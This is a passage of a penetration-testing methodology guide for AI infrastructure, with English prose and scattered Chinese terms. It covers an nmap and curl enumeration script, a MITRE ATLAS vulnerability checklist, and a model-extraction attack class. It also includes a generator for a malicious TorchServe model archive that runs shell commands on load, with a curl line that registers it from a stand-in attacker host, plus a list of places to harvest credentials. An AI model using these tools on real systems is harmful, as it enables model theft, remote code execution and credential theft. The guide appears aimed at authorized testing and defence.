# Active enumeration of AI infrastructure services
# Run after passive recon to fingerprint discovered services
 
TARGET="${1:?Usage: $0 <target_host>}"
echo "=== AI Infrastructure Active Enumeration ==="
echo "Target: $TARGET"
echo ""
 
# Port scan focused on AI services
echo "--- Port Scanning (AI service ports) ---"
nmap -sV -p 3000,4040,5000,5001,6006,8000-8002,8080-8082,8265,8443,8500,8501,8786-8788,8888,8998,9000,9001,9090,18080 \
    --open -oN "ai_ports_${TARGET}.txt" "$TARGET" 2>/dev/null
 
echo ""
echo "--- Service Fingerprinting ---"
 
# 測試 each discovered service for identity and version
for port in 5000 8000 8080 8501 8888; do
    echo "Port $port:"
 
    # Generic HTTP fingerprint
    RESP=$(curl -s --connect-timeout 3 -D - "http://${TARGET}:${port}/" 2>/dev/null | head -20)
    if [ -n "$RESP" ]; then
        echo "$RESP" | grep -iE "server:|x-powered|content-type" || true
    fi
 
    # Try AI-specific endpoints
    for path in "/v2" "/models" "/v1/models" "/api/2.0/mlflow/experiments/list" "/api/sessions" "/health"; do
        HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
            --connect-timeout 3 "http://${TARGET}:${port}${path}" 2>/dev/null)
        if [ "$HTTP_CODE" = "200" ] || [ "$HTTP_CODE" = "401" ]; then
            echo "  ${path} -> HTTP ${HTTP_CODE}"
        fi
    done
    echo ""
done
 
echo "--- Model API Probing ---"
# 測試 for OpenAI-compatible API (vLLM, LiteLLM, etc.)
MODELS_RESP=$(curl -s --connect-timeout 3 "http://${TARGET}:8000/v1/models" 2>/dev/null)
if echo "$MODELS_RESP" | python3 -c "import sys,json; json.load(sys.stdin)" 2>/dev/null; then
    echo "OpenAI-compatible API found on port 8000:"
    echo "$MODELS_RESP" | python3 -m json.tool 2>/dev/null
fi
 
echo ""
echo "=== Enumeration Complete ==="
echo "Results saved to ai_ports_${TARGET}.txt"

Phase 2: 漏洞評估

AI-Specific 漏洞 Checklist

Map discovered services to known 漏洞 patterns using MITRE ATLAS techniques:

ATLAS Technique	Infrastructure Target	測試 Method
AML.T0024 - Exfiltration via ML Inference API	Model serving endpoints	Query model to extract 訓練資料 or model architecture
AML.T0020 - Poison Training Data	Data storage, pipelines	測試 write access to 訓練資料 locations
AML.T0010 - ML Supply Chain Compromise	Model registries, package repos	Check for unsigned models, vulnerable dependencies
AML.T0043 - Craft 對抗性 Data	Inference endpoints	Submit 對抗性 inputs to 測試 model robustness
AML.T0048 - Resource Hijacking	GPU schedulers, compute nodes	測試 for unauthorized compute access

"""
AI infrastructure 漏洞 評估 engine.
Maps discovered services to known 漏洞 patterns
and generates a prioritized 測試 plan.
"""
 
import json
from dataclasses import dataclass, field
from typing import Optional
from enum import Enum
 
 
class RiskLevel(Enum):
    CRITICAL = "critical"
    HIGH = "high"
    MEDIUM = "medium"
    LOW = "low"
    INFO = "info"
 
 
@dataclass
class VulnerabilityCheck:
    """A single 漏洞 check to perform."""
    check_id: str
    name: str
    atlas_technique: str
    risk_level: RiskLevel
    target_service: str
    description: str
    test_procedure: str
    remediation: str
 
 
# 漏洞 check 資料庫 for AI infrastructure
AI_VULN_CHECKS = [
    VulnerabilityCheck(
        check_id="AI-SERVE-001",
        name="Unauthenticated Model Management API",
        atlas_technique="AML.T0010",
        risk_level=RiskLevel.CRITICAL,
        target_service="TorchServe",
        description=(
            "TorchServe management API (port 8081) allows model "
            "registration, which executes arbitrary Python code."
        ),
        test_procedure=(
            "1. Attempt GET /models on port 8081\n"
            "2. If accessible, attempt POST /models with a 測試 URL\n"
            "3. Check for SSRF by using internal URLs"
        ),
        remediation=(
            "Bind management API to localhost. Use network policies "
            "to restrict access. Upgrade to >= 0.8.2."
        ),
    ),
    VulnerabilityCheck(
        check_id="AI-SERVE-002",
        name="Model Information Disclosure",
        atlas_technique="AML.T0024",
        risk_level=RiskLevel.MEDIUM,
        target_service="Triton/vLLM/TorchServe",
        description=(
            "Model metadata endpoints expose architecture details, "
            "輸入/輸出 shapes, and version information."
        ),
        test_procedure=(
            "1. Query /v2/models/<name>/config (Triton)\n"
            "2. Query /v1/models (vLLM)\n"
            "3. Query /models/<name> (TorchServe)\n"
            "4. Document exposed information"
        ),
        remediation=(
            "Restrict metadata endpoints to authenticated clients. "
            "Remove unnecessary model configuration details."
        ),
    ),
    VulnerabilityCheck(
        check_id="AI-DATA-001",
        name="Training Data Storage Public Access",
        atlas_technique="AML.T0020",
        risk_level=RiskLevel.CRITICAL,
        target_service="S3/GCS/Azure Blob",
        description=(
            "訓練資料 in publicly accessible 雲端 storage "
            "can be read or modified by anyone."
        ),
        test_procedure=(
            "1. Enumerate bucket names using naming conventions\n"
            "2. 測試 each for public listing (GET /)\n"
            "3. 測試 for public object access\n"
            "4. 測試 for public write access"
        ),
        remediation=(
            "Enable Block Public Access at account level. "
            "Enable versioning and Object Lock."
        ),
    ),
    VulnerabilityCheck(
        check_id="AI-PIPE-001",
        name="Unauthenticated Pipeline Orchestrator",
        atlas_technique="AML.T0010",
        risk_level=RiskLevel.CRITICAL,
        target_service="Kubeflow/Airflow",
        description=(
            "Pipeline orchestrators without 認證 allow "
            "submission of arbitrary pipeline runs."
        ),
        test_procedure=(
            "1. Access Kubeflow dashboard (port 8443)\n"
            "2. Attempt to create a pipeline run\n"
            "3. Check Airflow webserver (port 8080) for auth\n"
            "4. 測試 Airflow REST API"
        ),
        remediation=(
            "Enable 認證 (OIDC for Kubeflow, "
            "RBAC for Airflow). Use network policies."
        ),
    ),
    VulnerabilityCheck(
        check_id="AI-GPU-001",
        name="GPU Memory Cross-Tenant Leakage",
        atlas_technique="AML.T0024",
        risk_level=RiskLevel.HIGH,
        target_service="GPU Clusters",
        description=(
            "GPU memory may not be cleared between job allocations, "
            "allowing one tenant to read another's model weights or data."
        ),
        test_procedure=(
            "1. Run a GPU job that writes known patterns to GPU memory\n"
            "2. Release the GPU allocation\n"
            "3. Run another job on the same GPU\n"
            "4. Read GPU memory for residual patterns"
        ),
        remediation=(
            "Enable NVIDIA MPS/MIG for isolation. Use CUDA_VISIBLE_DEVICES. "
            "Clear GPU memory between allocations in the scheduler."
        ),
    ),
]
 
 
class VulnerabilityAssessment:
    """
    Manage and execute AI infrastructure 漏洞 assessments.
    """
 
    def __init__(self):
        self.checks = AI_VULN_CHECKS
        self.results: list[dict] = []
 
    def get_applicable_checks(
        self, discovered_services: list[str],
    ) -> list[VulnerabilityCheck]:
        """
        Filter 漏洞 checks to those applicable
        to discovered services.
        """
        applicable = []
        for check in self.checks:
            target_lower = check.target_service.lower()
            for service in discovered_services:
                service_lower = service.lower()
                # Match if any part of the target matches a discovered service
                targets = target_lower.split("/")
                if any(t in service_lower for t in targets):
                    applicable.append(check)
                    break
        return applicable
 
    def generate_test_plan(
        self, discovered_services: list[str],
    ) -> str:
        """Generate a prioritized 測試 plan based on discovered services."""
        applicable = self.get_applicable_checks(discovered_services)
 
        # Sort by risk level
        risk_order = {
            RiskLevel.CRITICAL: 0,
            RiskLevel.HIGH: 1,
            RiskLevel.MEDIUM: 2,
            RiskLevel.LOW: 3,
            RiskLevel.INFO: 4,
        }
        applicable.sort(key=lambda c: risk_order[c.risk_level])
 
        plan = {
            "total_checks": len(applicable),
            "by_risk": {},
            "checks": [],
        }
 
        for check in applicable:
            risk = check.risk_level.value
            plan["by_risk"][risk] = plan["by_risk"].get(risk, 0) + 1
            plan["checks"].append({
                "id": check.check_id,
                "name": check.name,
                "risk": risk,
                "atlas": check.atlas_technique,
                "target": check.target_service,
                "procedure": check.test_procedure,
            })
 
        return json.dumps(plan, indent=2)

Phase 3: 利用

Model Theft via Inference API

"""
Model extraction attack demonstration for penetration 測試.
Queries a target model API systematically to collect 輸入-輸出
pairs for 訓練 a surrogate model.
 
WARNING: For authorized penetration 測試 only.
"""
 
import requests
import numpy as np
import json
import time
from typing import Optional
from pathlib import Path
 
 
class ModelExtractionAttack:
    """
    Extract a target model's behavior through API queries.
    Uses active learning to minimize the number of queries needed.
    """
 
    def __init__(
        self,
        target_url: str,
        model_name: str = "default",
        rate_limit: float = 0.1,  # seconds between requests
    ):
        self.target_url = target_url.rstrip("/")
        self.model_name = model_name
        self.rate_limit = rate_limit
        self.query_count = 0
        self.collected_pairs: list[dict] = []
 
    def query_model(
        self,
        input_data: dict,
        timeout: int = 30,
    ) -> Optional[dict]:
        """Send a single query to the target model."""
        try:
            resp = requests.post(
                f"{self.target_url}/v1/completions",
                json={
                    "model": self.model_name,
                    "prompt": input_data.get("prompt", ""),
                    "max_tokens": input_data.get("max_tokens", 100),
                    "temperature": 0.0,  # Deterministic for extraction
                    "logprobs": 5,  # Request logprobs if available
                },
                timeout=timeout,
            )
            self.query_count += 1
 
            if resp.status_code == 200:
                return resp.json()
            elif resp.status_code == 429:
                # Rate limited — back off
                time.sleep(5)
                return None
            else:
                return None
 
        except requests.RequestException:
            return None
 
    def generate_extraction_queries(
        self,
        domain: str = "general",
        num_queries: int = 1000,
    ) -> list[dict]:
        """
        Generate a diverse set of queries designed to map the
        model's behavior across its 輸入 space.
        """
        queries = []
 
        # Strategy 1: Systematic prompt variations
        base_prompts = [
            "The capital of {} is",
            "Translate to French: {}",
            "Summarize: {}",
            "The opposite of {} is",
            "Define the word: {}",
        ]
 
        # Strategy 2: Length-varied inputs to map 上下文視窗 behavior
        for length in [10, 50, 100, 500]:
            queries.append({
                "prompt": "word " * length,
                "max_tokens": 50,
                "strategy": "length_probe",
            })
 
        # Strategy 3: Special 符元 probing
        special_tokens = [
            "<|endoftext|>", "[INST]", "<<SYS>>",
            "<s>", "</s>", "[PAD]",
        ]
        for 符元 in special_tokens:
            queries.append({
                "prompt": f"Repeat: {符元}",
                "max_tokens": 50,
                "strategy": "token_probe",
            })
 
        return queries[:num_queries]
 
    def run_extraction(
        self,
        num_queries: int = 100,
        output_path: str = "extraction_results.jsonl",
    ) -> dict:
        """
        Execute 模型 extraction attack.
        Collects 輸入-輸出 pairs for surrogate model 訓練.
        """
        queries = self.generate_extraction_queries(num_queries=num_queries)
 
        with open(output_path, "w") as f:
            for i, query in enumerate(queries):
                result = self.query_model(query)
                if result:
                    pair = {
                        "輸入": query,
                        "輸出": result,
                        "query_num": i,
                    }
                    f.write(json.dumps(pair) + "\n")
                    self.collected_pairs.append(pair)
 
                time.sleep(self.rate_limit)
 
                if (i + 1) % 100 == 0:
                    print(
                        f"Progress: {i + 1}/{len(queries)} queries, "
                        f"{len(self.collected_pairs)} successful"
                    )
 
        return {
            "total_queries": self.query_count,
            "successful_pairs": len(self.collected_pairs),
            "output_file": output_path,
        }

Pipeline 利用: Arbitrary Code via Model Registration

"""
Generate a proof-of-concept malicious model archive for TorchServe.
模型 handler executes a benign command to demonstrate RCE
capability without causing harm.
 
WARNING: For authorized penetration 測試 only.
"""
 
import os
import zipfile
import json
import tempfile
from pathlib import Path
 
 
def create_poc_torchserve_handler(command: str = "id") -> str:
    """
    Create a TorchServe handler that executes a command
    when 模型 is loaded or when 推論 is called.
    """
    handler_code = f'''
import subprocess
import logging
from ts.torch_handler.base_handler import BaseHandler
 
logger = logging.getLogger(__name__)
 
class PoCHandler(BaseHandler):
    """
    Proof of concept handler that demonstrates code execution
    during model initialization (load-time RCE).
    """
 
    def initialize(self, context):
        """Called when 模型 is loaded. Executes the PoC command."""
        logger.info("PoC handler initialized")
        # Execute benign command to prove RCE capability
        try:
            result = subprocess.run(
                ["{command}"],
                capture_output=True, text=True, timeout=5, shell=True,
            )
            logger.info(f"PoC 輸出: {{result.stdout}}")
            # Write proof to a known location
            with open("/tmp/pentest_poc_output.txt", "w") as f:
                f.write(f"Command: {command}\\n")
                f.write(f"輸出: {{result.stdout}}\\n")
                f.write(f"PoC successful - RCE demonstrated\\n")
        except Exception as e:
            logger.error(f"PoC failed: {{e}}")
 
        # Initialize a minimal model so 推論 still works
        self.initialized = True
 
    def handle(self, data, context):
        """Handle 推論 requests."""
        return ["PoC model loaded successfully"]
'''
    return handler_code
 
 
def create_mar_archive(
    output_path: str,
    model_name: str = "security_test",
    command: str = "id && hostname && whoami",
) -> str:
    """
    Create a .mar (Model ARchive) file for TorchServe
    containing the proof-of-concept handler.
    """
    with tempfile.TemporaryDirectory() as tmpdir:
        # Create handler file
        handler_path = os.path.join(tmpdir, "handler.py")
        with open(handler_path, "w") as f:
            f.write(create_poc_torchserve_handler(command))
 
        # Create a minimal model file (required by .mar format)
        model_path = os.path.join(tmpdir, "model.pt")
        with open(model_path, "wb") as f:
            f.write(b"PLACEHOLDER")  # Minimal content
 
        # Create MAR-INFO file
        manifest = {
            "createdOn": "2026-03-21",
            "runtime": "python",
            "model": {
                "modelName": model_name,
                "handler": "handler.py",
            },
        }
        manifest_path = os.path.join(tmpdir, "MAR-INF/MANIFEST.json")
        os.makedirs(os.path.dirname(manifest_path), exist_ok=True)
        with open(manifest_path, "w") as f:
            json.dump(manifest, f)
 
        # Package into ZIP (.mar is a ZIP file)
        mar_path = output_path if output_path.endswith(".mar") else f"{output_path}.mar"
        with zipfile.ZipFile(mar_path, "w", zipfile.ZIP_DEFLATED) as zf:
            zf.write(handler_path, "handler.py")
            zf.write(model_path, "model.pt")
            zf.write(manifest_path, "MAR-INF/MANIFEST.json")
 
    return mar_path
 
 
if __name__ == "__main__":
    import sys
    輸出 = sys.argv[1] if len(sys.argv) > 1 else "security_test.mar"
    mar_file = create_mar_archive(輸出)
    print(f"PoC .mar archive created: {mar_file}")
    print(f"Register with: curl -X POST 'http://target:8081/models?"
          f"url=http://攻擊者.com/{os.path.basename(mar_file)}'")

Credential Harvesting from AI Infrastructure

AI infrastructure is a rich target for credential harvesting 因為:

Training jobs often have IAM roles with access to data lakes, model registries, and 雲端 services
Jupyter notebooks frequently contain inline AWS keys, 資料庫 passwords, and API 符元
MLflow and experiment tracking systems store artifact locations that reveal 雲端 storage paths
Environment variables in containerized AI services often contain secrets

During penetration 測試, focus on these credential sources:

Kubernetes secrets in AI namespaces (check for base64-encoded credentials in mounted volumes)
Environment variables in GPU pod specifications
Jupyter notebook content (search for API_KEY, SECRET, PASSWORD, connection strings)
MLflow artifact URIs (reveal S3/GCS bucket paths and potentially access keys)
Docker image layers (credentials baked into container images during build)

Phase 4: Reporting

AI penetration 測試 reports should include standard penetration 測試 sections plus AI-specific risk assessments. Key additions:

Model theft risk 評估: Quantify how many queries would be needed to extract a functionally equivalent model, and whether rate limiting is sufficient to prevent this.
資料投毒 impact 評估: If write access to 訓練資料 was achieved, describe the potential impact on model behavior.
MITRE ATLAS mapping: Map all findings to ATLAS techniques for consistent communication.
AI regulatory compliance: Note findings relevant to the EU AI Act, NIST AI RMF, or industry-specific AI regulations.

Report Template Structure

A well-structured AI penetration 測試 report should follow this outline:

Executive 總結: Business impact of findings, overall risk posture, comparison with industry benchmarks.
Scope and Methodology: Components tested, 測試 approach (black-box, grey-box, white-box), time frame, tools used, ATLAS techniques covered.
Findings 總結 Table: Each finding with severity, ATLAS mapping, affected component, and remediation status.
Detailed Findings: 對每個 finding:
- Description and technical detail
- Steps to reproduce
- Evidence (screenshots, logs, captured data)
- ATLAS technique mapping
- Business impact 評估
- Remediation recommendation with priority
AI-Specific Risk 評估:
- Model theft feasibility analysis (estimated queries needed, current rate limiting effectiveness)
- 資料投毒 vector analysis (which 訓練資料 stores are writable, what controls exist)
- Inference manipulation risk (can inputs be crafted to produce 攻擊者-desired outputs)
- 供應鏈 risk (model dependencies, unsigned artifacts, unverified packages)
Remediation Roadmap: Prioritized list of remediations with effort estimates and suggested timelines.

防禦 and 緩解

實作 AI-specific 偵測: Deploy 監控 for model extraction attempts (anomalous query patterns), 資料投毒 indicators (unexpected changes in 訓練資料), and unauthorized model access.

Adopt MITRE ATLAS as a framework: Use ATLAS to systematically 評估 coverage of AI attack techniques and prioritize 防禦 based on organizational risk.

Regular 測試 cadence: AI systems change rapidly as models are updated and pipelines evolve. Quarterly penetration 測試 or continuous 紅隊演練 is more appropriate than annual assessments.

參考文獻

MITRE. (2024). "ATLAS: 對抗性 Threat Landscape for AI Systems." https://atlas.mitre.org/
OWASP. (2025). "OWASP Machine Learning 安全 Top 10." https://owasp.org/www-project-machine-learning-安全-top-10/
NIST. (2023). "AI Risk Management Framework (AI RMF 1.0)." https://airc.nist.gov/AI_RMF_Interactivity/
Penetration 測試 Execution Standard (PTES). http://www.pentest-standard.org/
European Union. (2024). "EU AI Act." Regulation laying down harmonized rules on artificial intelligence. https://artificialintelligenceact.eu/
Grosse, K., et al. (2023). "Machine Learning 安全: Threats, Countermeasures, and Evaluations." IEEE Access. https://ieeexplore.ieee.org/

Penetration Testing Methodology for AI Infrastructure

相關文章

Penetration Testing Methodology for AI Infrastructure

相關文章